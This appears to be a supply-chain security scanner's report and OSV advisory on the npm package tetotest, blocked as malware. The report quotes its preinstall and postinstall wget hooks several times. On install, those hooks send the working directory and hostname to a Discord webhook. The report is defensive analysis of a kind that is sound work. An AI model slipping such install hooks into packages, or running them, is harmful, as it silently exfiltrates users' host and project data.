tetotest@14.0.0: Malicious npm security report (Block)

AI Security Review

scanned 23d ago · by lpm-firewall-ai

Installation automatically transmits the install directory and host name to an external Discord webhook. This is unconsented host-information exfiltration.

Static reason

One or more suspicious static signals were detected.

Trigger

npm package installation

Impact

Reveals local project location and machine identity to a third party.

Mechanism

preinstall and postinstall wget webhook posts using pwd and hostname

Attack narrative

When npm installs the package, its preinstall hook posts the current working directory to a Discord webhook. Its postinstall hook then posts the host name to that webhook. These hooks run automatically and provide no package functionality, creating an unconsented channel for host and project metadata.

AI rationale

Direct source inspection confirms two automatic lifecycle hooks that exfiltrate local installation metadata to an external Discord webhook. This is concrete malicious install-time data exfiltration.

Evidence

package.json/dev/null

Network endpoints1

discord.com

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16217

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in tetotest (npm)

Details

package.json declares preinstall and postinstall lifecycle scripts that invoke wget to POST the installer's shell-expanded working directory ($(pwd)) and machine hostname ($(hostname)) to a hardcoded Discord webhook at https://discord.com/api/webhooks/1413937656697720862/<redacted>. Both hooks fire automatically on `npm install` without user interaction. The package ships no library code or documented functionality — its sole effect is beaconing installer host identifiers to an attacker-controlled Discord endpoint.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook sends the current installation directory to a Discord webhook.
The postinstall hook sends the machine hostname to the same Discord webhook.
Both transmissions occur automatically during npm installation with no user action.

Evidence against

The snapshot contains only package.json and no additional payload source files.
No credential harvesting, shell execution beyond the hooks, or persistence was found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"💻 Installed successfully on device: $(hostname)\\\"}\" https://discord.com/api/webhooks...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "wget --quiet --header=\\\"Content-Type: application/json\\\" --post-data=\\\"{\\\\\\\"content\\\\\\\": \\\\\\\"📂 Installation started from directory: $(pwd)\\\\\\\"}\\\" https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null",

High

Suspicious Lifecycle Evidence

The preinstall hook sends the current installation directory to a Discord webhook.

package.jsonView on unpkg · L7

8"postinstall": "wget --quiet --header=\\\"Content-Type: application/json\\\" --post-data=\\\"{\\\\\\\"content\\\\\\\": \\\\\\\"💻 Installed successfully on device: $(hostname)\\\\\\\"}\\\" https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null"

High

Suspicious Lifecycle Evidence

The postinstall hook sends the machine hostname to the same Discord webhook.

package.jsonView on unpkg · L8

•scripts.preinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"📂 Installation started from directory: $(pwd)\\\"}\" https://discord.com/api/webhooks/1...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"💻 Installed successfully on device: $(hostname)\\\"}\" https://discord.com/api/webhooks...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

package.json#scripts.preinstallView file

•scripts.preinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"📂 Installation started from directory: $(pwd)\\\"}\" https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null

High

Manifest Script Host Fingerprint Callback

An npm script sends host identity through command substitution to a fixed external destination.

package.json#scripts.preinstallView on unpkg

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = wget --quiet --header=\"Content-Type: application/json\" --post-data=\"{\\\"content\\\": \\\"💻 Installed successfully on device: $(hostname)\\\"}\" https://discord.com/api/webhooks...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "wget --quiet --header=\\\"Content-Type: application/json\\\" --post-data=\\\"{\\\\\\\"content\\\\\\\": \\\\\\\"📂 Installation started from directory: $(pwd)\\\\\\\"}\\\" https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null",

High

Suspicious Lifecycle Evidence

The preinstall hook sends the current installation directory to a Discord webhook.

package.jsonView on unpkg · L7

8"postinstall": "wget --quiet --header=\\\"Content-Type: application/json\\\" --post-data=\\\"{\\\\\\\"content\\\\\\\": \\\\\\\"💻 Installed successfully on device: $(hostname)\\\\\\\"}\\\" https://discord.[redacted]-VrhF5qfz2Pes-[redacted] -O /dev/null"

High

Suspicious Lifecycle Evidence

The postinstall hook sends the machine hostname to the same Discord webhook.

package.jsonView on unpkg · L8

Findings

4 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighManifest Script Host Fingerprint Callbackpackage.json#scripts.preinstall

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Behavioral surface

Source & flagged code